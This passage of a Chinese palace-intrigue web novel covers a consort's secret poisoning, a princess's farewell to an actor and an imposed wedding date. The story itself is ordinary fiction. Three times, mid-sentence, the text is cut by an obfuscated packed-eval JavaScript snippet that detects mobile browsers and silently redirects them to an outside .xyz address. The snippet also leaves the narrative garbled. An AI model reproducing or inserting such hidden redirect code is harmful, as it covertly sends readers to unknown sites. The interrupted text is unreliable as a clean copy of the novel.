苻庆答应下来,二人从偏殿走出。没一会,载着苻庆和顾仙人的小轿便离开了晏呢殿门口,向宫门走去。 37. 下毒 晏呢殿内,经过苻庆的坚持,薛贵妃没有再送二人出宫,只是让花露代自己出去。此时花露已经走回殿中,立在薛贵妃面前。 薛贵妃看向窗外投射进殿内的那一小片光亮,每一日都只有那一小块地板能够接受阳光照耀。但她常坐在内殿,因此无法沐浴在那片阳光下。 “早在第一次看到墨迹变黑的时候我便想过会是中毒,只是没想到对方居然这么恨我。花费了这么长时间,处心积虑地要我死。”薛贵妃看向花露。 花露俯身跪下,“娘娘恕罪,这都是奴婢的疏忽,竟然让这种不干净的东西进入晏呢殿伤害了娘娘。” 薛贵妃摆手,示意花露起身。“下毒之人最是阴险,咱们是防不胜防的,怎么能怪你?” 花露站起身,继续说道:“说来也奇怪,娘娘自从第一次发现墨迹变色后已经让我将殿内燃的香换回了咱们自己储存的安神香,可是这毒物后来怎么还是能够进来呢?” 薛贵妃不说话,却是用眼神瞥了一眼摆在桌上的茶点。 花露一愣,“娘娘是说,是从饮食中混进来的?可是每日晏呢殿的饮食都是由尚膳监封好了送过来,再由奴婢拆开封条在桌上摆好,中间绝不可能经过他人之手。” 薛贵妃闻言一笑,嘴角两边的梨涡若隐若现。“花露,你别忘了。如今这整座皇宫中最恨我、最想让我死的人不正可以利用尚膳监下毒吗?” 花露看着薛贵妃胸有成竹的神情,眼睛却因为诧异而慢慢睁大。“娘娘,自从七皇子被立为太子,皇上便不许他回来探望娘娘。娘娘您为了避嫌,这些年都不曾去过东宫一次,即便太子发高热也佯装不知。您都做这份上了,陛下为何还是不肯相信您呢?” “没办法,毕竟那是他的太子。”薛贵妃的眼神收回,看向花露。“陛下多疑,太子又是养在晏呢殿中长大,即便我一直做出不管不顾他的样子,陛下也会担心我对太子的影响太大,致使未来朝政大权会旁落于太后之手。只怕现在陛下最气恼的便是大夏国竟然没有子贵母死的规矩,好让他能够名正言顺地杀了我。” 花露皱起眉头,“娘娘您本就没有兄弟相助,苻坚将军和大小姐在六年前又已经去世,只留下公主一个孤女。这些年您对陛下极为恭敬,甚至还终日茹素抄写血经为后宫子嗣祈福。咱们都已经做到这个地步了,陛下究竟还有什么不放心的呢?” 薛贵妃勾露出一个玩味的笑容,脸上的梨涡也随之加深,抬眼看着花露说道:“也许是因为他只有这么一个能够被立为太子的儿子吧。” 花露却没有笑,此时她忽然想到了另一件十分紧迫的事情。 “娘娘,您说陛下会不会是发现了咱们之前做过的事情?” 薛贵妃其实早已想到这一点,在刚开始猜到是皇帝对自己下毒时她便想过,有没有可能是自己之前所做的事情败露。 “娘娘,虽说咱们当年的计划都是天衣无缝的,但毕竟是这么多条性命。陛下若是真的想查,难保不会发现蛛丝马迹。” 看着花露面露担心之色,薛贵妃却很是冷静,还饶有兴致地笑着问道:“怎么,你后悔了?” 花露当然不会后悔,“奴婢自小便跟着二小姐长大,二小姐让奴婢做什么奴婢便做什么,绝无二话。再说,二小姐做这些无非是为了让我们能够在后宫中活下来。既然是为了自保,何罪之有?” 薛贵妃露出一个满意的笑容,“此事我早就想过了,虽说你说的没错。但是我害了他那么多条皇子的性命,还间接害死了先皇后。陛下若是真的能找到证据,早就直接赐死我了,何必多此一举?因此,我更倾向于陛下还是为了太子才会想要杀我的。” 花露点头,“既然如此,奴婢这就去排查晏呢殿与尚膳监所有人。同时,这几日娘娘的饮食奴婢都会秘密交给光禄寺信得过的人准备,绝不会让娘娘再次中毒。” 薛贵妃并没有立刻点头,而是反问花露道:“如果真的要一个一个排查,岂不是要花费很长时间。再者说,若对方真的是陛下,难道他还能让咱们抓住露出的马脚吗?” 花露一愣,连忙俯下身道:“奴婢但听娘娘吩咐。” 薛贵妃已经想好一个计谋,微笑着说道:“此事虽说我们已经有所怀疑,但最终还是要看证据。况且即便咱们想隐瞒,宫中人多眼杂,光禄寺那边也很难完全隐瞒住。既然如此咱们还不如借机生事,干脆把这件事闹大。只有把水搅得越浑,咱们才越有可能将此事蒙混过去。” 花露明白薛贵妃的意思,“娘娘放心,一会奴婢便放出消息告知六宫,就说娘娘头风病发作,以至于在抄写经书时忽然昏厥,这样一来也能够对咱们忽然不吃尚膳监的饭做出解释了。至于下毒之人,必然会因此做出调整,到时候攻守互换,咱们在暗而敌人在明,便不愁找不到动手的人了。” 薛贵妃满意地点头:“另外,我要你再仔细检查一遍这些年咱们做过的那些事究竟有没有留下什么证据,那些事绝对不能让庆儿知道。说到底姐姐是为了保护我才去世的,临死前她既然将庆儿托付于我,我便绝不能让她失望。” 花露明白苻庆在薛贵妃心中的地位,点头称是后退了出去。 待花露走出去,薛贵妃站起身走到那片狭小的阳光下,仰起头迎着光,意味深长地说道:“陛下啊陛下,六年前您害我小产,所以我就害死了您那么多儿子作为报复。没想到六年后,您竟直接想要我的命了,那您说这次我应该拿走您的什么作为补偿呢?” 公主府中,此时苻庆已经送走了顾仙人。 程怜香一上午就没有离开过翠华庭,他生怕薛贵妃的身子诊断出来有什么不好导致苻庆伤心,因此一直在此处等候苻庆回来。 刚走进翠华庭苻庆便看到程怜香站在院子里那棵玉兰树下抬头赏花。如今已是玉兰花盛开的季节,粉嫩的玉兰花开了满树,程怜香一袭月牙白色直缀站在树下,乌黑的发髻由莲花冠束起,远远看去只觉得清新脱俗,犹如遗世独立的谪仙人。 看着眼前这一幕,苻庆只感觉心里一暖,脚下步伐也不自觉地加快了许多。 “程怜香!” 程怜香回首,看见苻庆一脸欣喜地向自己走来,瞬间明白薛贵妃的身体应该并无大碍,跟着提心吊胆了一上午的心脏也重新沉回了肚子里。 “这么快就回来了?看来薛贵妃的身体并无大碍?” 苻庆一步蹦到程怜香跟前,“顾仙人说只要吃一个月的药就能好起来。” 程怜香也跟着苻庆露出笑容,“如此就太好了。” 苻庆点头, 忽然一阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446127|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风过,满树玉兰花被吹得飒飒作响,许多花瓣伴随着微风掉落下来。苻庆仰着头,从她的视角中正好能看到程怜香在漫天花瓣中低下头看着自己。他的眉眼如画,眸子中蕴含着无边的温柔,只让苻庆感觉自己能够溺死其中。不自觉地,苻庆心跳忽然漏了半拍。 程怜香却没意识到老天奶帮了他多大一个忙,他只是真心为苻庆感到高兴。他知道苻庆的身世如自己一般坎坷,更知道薛贵妃对苻庆的意义就如同师父对自己一般。苻庆之前愿意帮助他和师父解开误会,现在他更加不想看到薛贵妃出现什么事情惹得苻庆伤心。 “不过薛贵妃仁善,想必对这种腌臜事并不了解,能够找到坏人吗?” 苻庆回过神,“姨母说了等找到合适的时机会将此事告知陛下。我想陛下即便看在太子的面上,也一定会帮我姨母讨回公道的。” 程怜香点头,确实在他的认知中也认为像薛贵妃这样的高门小姐是根本不可能知道该怎么查案,更不知道该怎么害人的。 “这几日你就多找机会入宫看看薛贵妃吧,便当是替顾老仙盯着病人吃药。” 苻庆本身也有此意,却没想到程怜香居然也跟她想到了一起,“我也这么想的。我表弟如今身居东宫,即便我姨母生病也不能随意回来探望。左右我这几日无事,便当做陪陪我姨母也好。” “连亲娘生病都不能回来探望?”程怜香感到有些不可思议,“这也有些太不尽人意了吧?母子连心,哪有母亲生病却不许孩子探病的道理?” 苻庆想到这也觉得有些难过,“不瞒你说,自从我表弟被封为太子到东宫居住,我们两个除了年节时能在宫宴上遥遥见一面,再没有说话的机会了。前些日子我姨母头风病发作,太子再三乞求陛下才得到准许能够回晏呢殿探望一次。如今还不过一个月时间,陛下绝不可能准许太子再回来一次的。” 程怜香摇头,“果真是最是无情帝王家,看来做普通百姓也有做普通百姓的好处。” 苻庆叹气,“谁说不是呢?如果当年我姨母没有被礼部要求破例参加大选,现在肯定也会在一户门当户对的人家中做着正房娘子,说不定也就不用吃这么多苦。” 苻庆忽然想起已经去世几年的先皇后,眸中光泽也黯淡了几分。“当年先皇后还在世时,就因为我姨母生下七皇子早于她生下嫡子,可谓是处处刁难我姨母。我到现在都记得,那时候我父母刚去世不久,有一晚我突发高热,姨母照顾了我一整夜,因此第二天前往长秋宫请安时便迟到了。谁知先皇后竟为此事罚跪我姨母在长秋宫整整跪了四个时辰,那天晚上我姨母是被人抬着回到晏呢殿的。后来我姨母的腿便落下了风湿,天气变冷时常常发作。” 程怜香原先以为是他们做平民百姓的身份低微,所以才只能任由贵人们拿捏。可如今他才知道,即便都身为贵人,恶人也并不会因为你的身份而敬畏你分毫。 “原先我只以为做戏子可怜。如今听了你的话才知道,只要投胎到这个世上,不论你出生时是什么身份,人人都有可怜之处。”程怜香忽然想到自己对苻庆注定无果的感情,又想到自己前途未卜的未来,不觉心情有些低落。为掩饰情绪,连忙看向一旁的桃树。 “正因如此,我才决不能让你平白无故受不属于你的那份罪。” 38. 功臣 程怜香听苻庆这样说有些不明所以,转过头看向苻庆。 苻庆却已经一脸自信的表情,“你放心,我早已同松醪说好,到时候送你出府时会将你的身契与一千两白银一并送上。我相信以你的能力,再加上这一千两本钱,不出一年便能够在这京城站稳脚跟,闯出一片名堂了。这也算作……”说到这,苻庆有些不好意思地挠挠头,“算作那日我抢你入府,让你受这些无妄之灾的一些补偿吧。” 程怜香一愣,他早已知道苻庆做好打算送他出府,却还是在直面这件事的时候有些慌神。特别是听到苻庆已经帮他将前路谋划至此,他的心里忽然有一种又悲喜交加的感觉。 喜的是苻庆居然这么愿意帮助他,也能够看出苻庆对他的重视;而悲的是既然苻庆已经将此事安排如此周全便说明,此事已经再无转圜的余地了。若苻庆主动要将他送出府,那程怜香也就绝没有继续留下的可能。 苻庆看着程怜香,本以为对方在听到这件事后会高兴,起码会露出一个微笑。却没想到对方却好像愣住了,就连刚才与自己说话时温柔的神情也不在了,眸子里反而透出几分悲伤的神情。 苻庆不理解,却也不敢询问。 “怎么?你突然就想开了?一开始你不是说要将我囚禁在你府上,好让我尝尝终生不得自由的滋味吗?”程怜香露出一个微笑,借此掩盖内心的荒芜。“这么快你就反悔了?” 苻庆还以为程怜香是阴阳怪气自己,低头笑着说道:“你怎么这么记仇,这都过去多久的事了还要提?再说当时我不是没想明白吗?只想到要做点什么惊世骇俗的事反抗陛下的赐婚。但经过这段时间我已经明白了世人皆苦,所以我更不应当因为自己苦就将这份苦强加于旁人。如果我这么做的话,那我和宁慈心还有什么区别呢?” 程怜香静静地看着苻庆,此时他已经确定苻庆是在真心实意地为自己考虑,同时也是在为生辰宴那日赎罪。 但不巧的是,这些在苻庆眼里看来只是补偿的举动,却一步步牵动了程怜香的心,最终使得他情深根种。 “公主思虑周全,我自然是无有不应的。”程怜香收回思绪,“既然如此,程怜香便提前谢过公主了。” 看着程怜香在自己面前深深作揖,苻庆心中忽然有种奇怪的感觉,仿佛这一揖并非是程怜香对自己的感谢,而是他在和自己告别。并且在这场告别中,程怜香是充满不舍的。 苻庆认为绝对是自己看错了,毕竟程怜香从刚入府时便想着如何离开,如今愿望终于成真必然是感到高兴才对,怎么可能会不舍呢? 抱着这样的想法,苻庆微微点头向程怜香回礼。 只是他们并不知道,两人此时的行礼配合着身后这棵美轮美奂的玉兰树,不像是诀别,倒像是定情。 当晚,苻庆便接到宫中传来薛贵妃突发头风病晕倒的消息,苻庆明白这是薛贵妃惯有的计谋,也证明她已经开始暂避锋芒,好让花露放心调查下人了。而且宫中还传出消息说,陛下得知此事后急坏了,阖宫的太医都被召集到了晏呢殿。虽说最终也没有让太子到晏呢殿侍疾,但这样的待遇也同样给后宫其他人释放一个信号,那就是薛贵妃在皇帝心中的地位绝非其他人能够比拟的。 如此,想必那争风吃醋之人也会消停一阵,不敢顶风作案了。 想到这,苻庆只觉得心中更加安稳,晚上也久违地早早入眠。 只是做了个怪梦。 梦中,苻庆又回到了第一日将程怜香抢入公主府的床榻之上,她的手还是不受控制地向程怜香伸去。苻庆一直想制止住自己,却无法控制自己的身体。 而且不一样的是,在梦中的程怜香并没有如同那日一般反抗,反而是安静地躺在床上。他好看的眸子温柔地盯着苻庆,好像已经接受了自己的命运。 就在苻庆即将脱下程怜香外衣的千钧一发,她醒了过来。 一缕阳光透过窗户照射到床上,屋外似有清脆的鸟鸣。 苻庆缓缓吐出一口气,等待自己的心跳平稳下来。 看来自己真的要赶紧将程怜香送出府了,否则任由他每日在府中引诱自己,苻庆真怕自己有哪一天没忍住,最终酿成大错。 这样想着,苻庆翻了个身,不一会又沉沉睡去。 为了避免宫内人对薛贵妃的病情起疑,苻庆生生憋了两日才敢进宫。 这次薛贵妃倒没有到宫门外等候,苻庆小跑着走进晏呢殿便看见对方正坐在贵妃榻上等待自己。 见苻庆走进来,薛贵妃笑着站起身迎上前。 “怎么样?这次我听你话了吧?” 苻庆露出一个得意的笑容,“我就知道姨母是最疼我的,可见不得为了您伤心。” 薛贵妃被苻庆逗笑,拿出手绢为苻庆擦了一把头上的汗水。 “这几日天气渐渐热了,你要注意不要跑动,别中暑。” 如今已经到了三月底,京城本就地处南方,此时已经有些夏季的感觉了。 苻庆点头,“姨母放心,庆儿一定听话。” 薛贵妃牵着苻庆的手坐在圈椅上,花露走上前为二人端上两盘茶点。 尚膳监的食物精致,绝不可能不经过摆盘就端上来。苻庆看了一眼随意叠放在一起的两盘糕点,又要看向坐在一旁眨着眼睛看自己的薛贵妃。 “姨母,这好像并非是尚膳监的手艺吧?” 薛贵妃一笑,挥挥手示意花露退下。 “庆儿聪明,这糕点是光禄寺准备的。” 光禄寺虽说也负责宫中宴席,可大部分时候准备的点心根本不是给人吃的,自然不会做出精致摆盘,只要堆得高高的便是了。 “那日你走后,我借口抄写经书晕倒,陛下请了许多太医来瞧,竟无一人瞧出我是中毒。”薛贵妃无奈地笑一笑,“因此我便借口说可能是尚膳监准备的食物太油腻,陛下本想下旨让尚膳监这几日都清淡饮食,谁知后宫中许多姐妹不愿意,最终我只好暂时先用光禄寺的食物了。” 苻庆想笑,“如此一来岂不是正遂了姨母的意。尚膳监与后宫联系大,各种关系错综复杂,不如光禄寺的安全。” 薛贵妃一愣,她没想到苻庆竟然立刻猜到了自己的意图,毕竟这个方法实则是薛贵妃为了防备尚膳监特意想出来的,她早知道后宫中自己树敌不少,她们肯定不会允许陛下这样优待自己,到时候陛下就只能同意光禄寺暂时为自己准备膳食。 毒害后妃的事情并非小事,皇帝也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446128|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能在一时半会内便找到光禄寺中值得信任与托付之人,但薛贵妃却可以找到。她料理后宫之事多年,这些年大大小小的庆典祭祀不计其数,光禄寺早已成为她一手提拔出来之人的天下。 “只是姨母想到时机将实情告知陛下了吗?” 薛贵妃笑着拍了拍苻庆的手,“太医们刚刚来过,若是我此时便将自己是中毒的事情告知陛下,岂不是给太医们挖了坑?” 苻庆点头,她并未怀疑宫中太医的问题。因为众所周知在宫中做太医一定是但求无错不求有功的,很多太医即便发现有中毒迹象也不愿多说,生怕自己会因此受到牵连。也正因此,苻庆才会在得知薛贵妃可能是中毒的时候第一反应让顾仙人不要参与此事。 但这一次,顾仙人和程怜香又给她上了一课。 “宫中太医也确实难做,我不怨他们。只是经此一事,更能够看出顾仙人的医者仁心。”苻庆心内一动,“顾仙人是程怜香介绍进府的,我觉得此事也应当为程怜香记一份功劳。” 薛贵妃不疑有他,点头称是。 “程伶人是你的人,自然一心为你好,此事你确实应该好好嘉奖他。” 虽然这句话苻庆整天说,但是第一次听到薛贵妃面不改色地说出这句话,苻庆还是觉得有些奇怪,赶紧抓起一块嘴里送进嘴里。 “这南瓜饼挺好吃啊!光禄寺不愧是能操持祭天大典的部门,这手艺真是一点都不差。” 薛贵妃看出苻庆的窘迫却不愿戳破,只是微笑着开口,梨涡一左一右如同两只玉盘。 “这是地瓜做的。” 苻庆这才意识到自己竟然在慌张之下没有尝出二者的区别,一时间只觉得尴尬,连忙笑着低下头。 薛贵妃觉得苻庆的局促实在可爱,其实对于她此时来说,虽然一开始确实被苻庆在大殿上要面首的行为吓了一跳,但后来就不在意苻庆是否应该招揽程怜香入府,就如同她不在意苻庆是否会被京城百姓议论。 因为薛贵妃已经明白,苻庆做的越离谱,皇帝便越会包容,而大夏国的百姓便越会赞叹大夏国拥有一位多么仁慈的君主。 这是苻庆能够在皇宫活下去的根本,也是陛下愿意由着苻庆胡闹的原因。 如今苻庆表面依旧胡闹,不至于在婚后和杜家牵扯太深,而实际上又能够为陛下出谋划策,这实在是陛下最想看到的画面。如此一来,苻庆的地位也会更加稳固,薛贵妃也就更能腾出手来专心致志地布局宫内之事。 所以,薛贵妃从杜至善入府劝说苻庆开始便不再在意程怜香的身份,甚至认为程怜香如今算得上公主府上的一位功臣。 只是不知道苻庆是怎么回事,明明是她自己抢回去的人,现在反而不经说了。 “今日既然进宫了,正好尝一尝光禄寺的水平。”薛贵妃也拿起一块地瓜糕咬了一口,“光禄寺虽说摆盘不够精致,什么菜都是堆得满满的便送过来,但我尝着还挺好吃的。” 苻庆点头,好不容易能够在宫中却不吃尚膳监的难吃菜,她还是很期待光禄寺的水平的。 “正好昨日我尝着那道烩芦笋好吃,我这就让光禄寺准备上。”薛贵妃放下地瓜糕拿起手帕擦了擦嘴,轻声对外唤道:“花露。” 39. 婚期 话音未落,花露已经从殿外走了进来。薛贵妃只当是花露就在殿外等候,刚想开口继续吩咐,却见花露对二人恭敬福身。 “娘娘,公主,紫宸殿有旨,要公主过去用午膳。” “我?”苻庆指着自己一脸迷茫,“陛下叫我做什么?” 薛贵妃伸出手拉住想要站起身的苻庆,继续对花露说道:“是谁来传旨的?有说陛下找庆儿是为了何事吗?” 花露摇头,“汪公公来传的旨意,并没有说为什么。但是奴婢打听到,好像是瑕英长公主进宫了。” 苻庆和薛贵妃对视一眼,表情中都有掩饰不住的诧异。 “宁慈心,她入宫做什么?”苻庆忽然想起自己前几日前往宁国公府劝说宁慈心的事情,“前几日陛下要我到宁国公府劝说宁慈心接受赐婚,难道她今日入宫是为了和陛下摊牌的?” “不可能。” 苻庆看向薛贵妃,对方的语气中透着十分有把握的样子。 “我想,瑕英长公主应当是入宫来谢恩的。” 苻庆皱眉,上次虽说她已经把该说的话都说了,但宁慈心这个疯子个性,连宁国公夫妇都管不了,难道还真能被自己那三言两语劝服了? 花露却在薛贵妃说完之后露出一个微笑,“娘娘好厉害。” 这下轮到苻庆傻眼了,首先她完全没想到宁慈心居然真的会因为她劝说的几句话就改变了主意,其次更不明白宁慈心入宫皇帝为什么要叫自己过去用膳。 “那我不去!”苻庆立刻伸手抱住了薛贵妃的胳膊,“说不定现在宁慈心要恨死我了,我才不去跟她一起吃饭,万一她当着陛下的面打我怎么办?” 薛贵妃回握住苻庆的胳膊,“你放心,有姨母在,不可能允许瑕英长公主这样对你的。” 说完,薛贵妃抬头对花露说:“你去跟汪公公说,公主已经在晏呢殿用过膳了,现在就不过去了。下午我会陪着公主去紫宸殿向陛下请安。” 花露点头,转身走了出去。 苻庆这才放下心来,继续专心品尝着嘴里的地瓜糕。她又不傻,此时去紫宸殿见宁慈心,怎么想都觉得不是好事。即便宁慈心不敢当面打她,说不定也会在言语上攻击自己,她可不想触这个霉头。 刚把嘴里的地瓜糕咽下去,又听见外头一阵急匆匆的脚步声传来。苻庆不明所以抬起头,正好看见花露充满歉意的脸。 “贵妃,公主,汪公公不肯走。说陛下早就说过了,若公主已经用了膳,即便只是喝杯茶也要去的。” 苻庆只感觉嘴里的人地瓜糕瞬间不香甜了,兴致索然地放下了手里的糕点。 只是她没看到,就在她还在与手中的地瓜糕依依惜别之时,薛贵妃脸上的表情晦涩不明。 看来是躲不过了,苻庆在心中长叹一口气。站起身向薛贵妃福身,“既然如此,我还是过去吧。” 薛贵妃脸上已经露出温柔的微笑,两只梨涡又变成了盛着蜂蜜的玉盘。 “好孩子,不必记挂我。陛下居然叫你过去,想必一定是有要紧事。一会用完膳也不要回来了,早些出宫回去休息休息。” 苻庆有些不高兴,今日入宫本来是探望薛贵妃的,谁知二人连坐在此处用一盘糕点的工夫都没由。陛下明知道薛贵妃此时生着病,不许太子回来探望也就罢了,就连苻庆探望都要从中作梗。 薛贵妃见苻庆已经有些挂相,赶紧安慰道:“你放心吧,即便你不在这,姨母也一定把药汁都喝光,一滴都不剩。” 花露也赶紧出言劝说:“公主放心,这药都是奴婢看着熬的,绝不会出岔子。之后我都会盯着贵妃娘娘把药喝进去,绝不会让您担心。” 苻庆见二人这样讲,只感觉心中稍感安慰。长舒一口气后,福身向外走去。 汪公公早已在晏呢殿等待多时,苻庆与汪公公客套两句,便跟着对方一同到了紫宸殿。 一进入紫宸殿,苻庆便看到皇帝与宁慈心已经在桌子边落座,只是尚未动筷子。在意识到两人真的是在等候自己时,苻庆连忙三步并作两步走了过去。 “儿臣参见陛下。” “免礼。”皇帝一副很开心的表情,笑着招呼苻庆就座,“想着等你,朕和慈心都没敢动筷子呢。” 苻庆立刻表现出一副诚惶诚恐的样子,“儿臣罪过,居然让陛下等候儿臣,实在是不应该。” 嘴上这样说着,脚步却很诚实。苻庆立刻走到了皇帝右手边的空位置上,见宁慈心此时正面无表情坐在自己对面,苻庆立刻拱手笑着说道:“见过长公主殿下。” 宁慈心没有说话,只是向苻庆点点头。 苻庆只觉得自己可能是看走了眼,这个安静得好像不会说话的女孩绝对不可能是宁国公府的瑕英长公主。 坐下后,苻庆仍不死心,继续开口问道:“长公主殿下可是宫内稀客,今日怎么突然入宫了?可是宁国公入宫与陛下有要事商议?” 皇帝摆摆手,“慈心是入宫向朕谢恩的,可巧听说你也入宫了,朕便想着叫你们过来,陪朕吃一顿家常饭。” 宁慈心全称并没有插话,只是在皇帝说完话后点了点头。 这太吓人了,苻庆甚至都要怀疑宁慈心是不是被夺舍了。看着对方打死都不愿意说话的样子,苻庆也猜不透这是暴风雨前的宁静还是无声的抗争,最终还是决定先应付完这顿奇怪的午膳。 紫宸殿的午膳还是尚膳监准备的,与从前在晏呢殿吃到的大同小异,苻庆根本没有胃口,却又不得不做出吃得很高兴的样子,因此筷子动了没几下,咀嚼倒是持续了很长时间。 皇帝喝了一口鸡汤,忽然想起什么一般放下勺子,看着苻庆问道:“朕听闻你是从晏呢殿过来的?” 明知故问。苻庆咽下这句话,恭敬地开口:“是的,儿臣入宫去看了看姨母。” “好孩子,你姨母没有白疼你一场。”皇帝笑着点头,“说起来,你姨母这次病的实在凶险,说是在抄写血经的时候忽然晕厥,可把朕吓坏了。” 苻庆拱手,“多谢陛下牵挂,姨母头风病是老毛病了,这些年怎么治疗都不见好。前些日子儿臣从宫外为姨母请进来一个大夫,本以为民间方子能够有些用处,谁知前脚刚离开后脚姨母便犯了病。” 皇帝摇摇头,不断摆手道:“民间的大夫哪能比得上宫中的御医,你们是太过急功近利了。” 此时当着宁慈心,苻庆更不可能讲出薛贵妃生病的实情,因此只是点头。 “朕已经听从御医的话,这几日都让光禄寺准备你姨母的膳食。也许清淡饮食些,薛贵妃的病便能够好转。” 苻庆露出一个讨好的微笑,“陛下看中姨母,即便是想着这个,姨母的身子都一定会很快好起来的。” 皇帝很满意苻庆的回答,笑着拍了拍苻庆的肩膀。 苻庆说完话继续用膳,扭过头时一晃眼,才发现宁慈心正在全程看着自己。不过这一会自己转过头,宁慈心也将头低了下去。 看来她文静是假象,憋着话不方便说才是实情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446129|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “如今你们都逐渐长大了,我们也就老了,偶尔身体有个小病小灾也十分正常。”皇帝看向二人,“好在你们都已经许了人家,未来能够有所依靠,朕也就放心了。” 苻庆偷瞄宁慈心,发现对方在听到皇帝提起赐婚一事时居然一点波澜都没有,不禁暗自想着这宁慈心真是个狠角色。 “庆儿,虽说你年纪小,可到底赐婚的日子比慈心早些,朕想着也由你先举办婚礼。” 苻庆没想到皇帝会这么着急让自己举办婚礼,毕竟皇宫中赐婚后一两年都不举行婚礼的皇子公主大有人在,她还以为自己怎么也可以拖延到明年。 “朕知道薛贵妃舍不得你,可是杜至善如今已经不再负责修书一事,唯有你们赶紧成婚,朕才能够更名正言顺将其从国子监调出来。”皇帝说完,也看了一眼另一边的宁慈心,“慈心,待你成婚后,朕也立刻授予孔孚御史台推官一职,不会让其辱没了你宁国公府的门楣。” 苻庆心中一紧,虽说早已想到自己的婚事不过是皇帝控制朝野的棋子,却没想到如今真的听到这件事还是觉得心中很是难过。 原来在这些人眼中,自己和宁慈心的婚事都不过是想要起用某人的工具,她们说到底也不过是丈夫的附庸品,就连这长公主名号都是为这些男子提高身份地位的助力。 自始至终,皇帝从未将她们放在眼里。 苻庆心中冷笑一声,面上却只是配合地点了点头。 自己刚为朝廷出谋划策解决了宁国府一事,谁知对方就这样过河拆桥,迫不及待地利用自己换回杜家的拥趸。既然如此,自己便只能依旧按照原计划进行下去。毕竟依照现在情况来看,除了主动挑起夏辽之间的战争这一种方式外,是不可能强迫这位皇帝主动向辽国出兵了。 如此,便不如真的早日与杜至善成婚,早些开始他们两人的同盟计划。 苻庆抬起眼,冷冷地看着皇帝。而对方此时正沉浸在欣喜中,并没有时间看一眼苻庆的表情。 “朕已经让司天监选定了日子,下月十七正是黄道吉日宜嫁娶,不如庆儿便选在这一日举行婚礼吧?正好这几日你姨母身子不好,宫中举办些喜事也可以为你姨母冲冲喜。” 纳吉纳征等流程还未举行,皇帝已经开始让司天监选定成婚日期了。苻庆在心中嗤笑一声,皇帝看来是真的连做样子都懒得,简直已经把想要赶紧利用自己的婚事达到自己的目的写在了明面上。 说实话,此时苻庆并不在意这婚礼举办的时间是早是晚,她对于这场婚礼本就没有什么期待,更不在意婚礼的那些繁文缛节。 但是,她还是不希望自己的婚礼在四月举办。 “陛下,一定要在四月吗?儿臣念及亡父亡母,不忍在四月出嫁。” 皇帝看着苻庆的眼神迷茫了一瞬,好像在反应苻庆说的话是什么意思。半晌才如梦初醒道:“原来是这么回事。庆儿你放心,你的婚姻乃是朕所赐,婚礼日期也是司天监与朕定夺的,不会有人敢议论你。” “儿臣……” “朕知道你孝顺父母,这是好事。可你别忘了,忠君爱国更是最大的孝。现在朕就需要你赶紧完成这场婚事,好让大夏的朝堂更加稳固。”皇帝垂眼看向苻庆,眼睛中瞧不出什么情绪,却能感觉到一种隐隐的威胁之意。 苻庆也明白皇帝并非是真的与她商议,她的意见当然也没什么用处。这些道理,不是早在六年前她不就已经知道了才对吗? 苻庆深揖礼,“儿臣谨遵陛下旨意。” 40. 白发 苻庆点头,不再说话。 见苻庆这么乖巧,皇帝很满意地点点头,接着转头继续对宁慈心说道:“至于阿慈,婚礼便定在七月好了,你别怪朕偏心,你父母自会操办好一切,不让你受一丁点委屈,朕也就不掺和了,” 宁慈心依旧保持着面无表情地样子,只是拱手行礼说道:“陛下放心,儿臣和父母感念陛下皇恩,定会配合孔家将此次婚礼操办好。” 皇帝满意地笑了两声,而苻庆却像是见鬼一样看着宁慈心。 反常,太反常了。 古话说,事出反常必有妖。 二人陪皇帝用完这场各怀心思的午膳,一同起身告退离开了紫宸殿。 离开后宫的时候二人的腰辂一前一后,苻庆本想避开宁慈心,可眼见着对方的腰辂走走停停,就是不肯离开自己太远,最终也只能作罢。 出了宫门,苻庆刚下了腰辂,转身就被一个身影挡住了去路。 苻庆头也不抬,“怎么?在紫宸殿没敢打我,出来找补了?” 宁慈心并未接茬,只是开口说道:“我娘说要我谢谢你,我家马车上有一套珍珠头面,既然碰到了就一并送到你府上吧。” 苻庆皱眉,“你该不会是想哄骗我上马车后,再套麻袋揍我吧?” 宁慈心终于舍得在脸上露了个笑脸,虽说转瞬即逝,但到底还能看出些从前的模样。 “究竟是福是祸,你来不就知道了,怎么这么多话?” 返程路上,苻庆和宁慈心坐在马车车厢中,一时间相对无话。 苻庆早就感觉到宁慈心应该是有话对她说,奈何对方不说话她也不好开这个口。眼见着马车都驶出宫门许久,却还是没等到宁慈心开口。 “你让我坐你家马车,不会真的只是要给我首饰吧?” 宁慈心空洞的眼神终于转了过来,落在苻庆脸上。见苻庆一直看着自己,半晌忽然低下头,伸出手取下头顶的发簪给苻庆看。 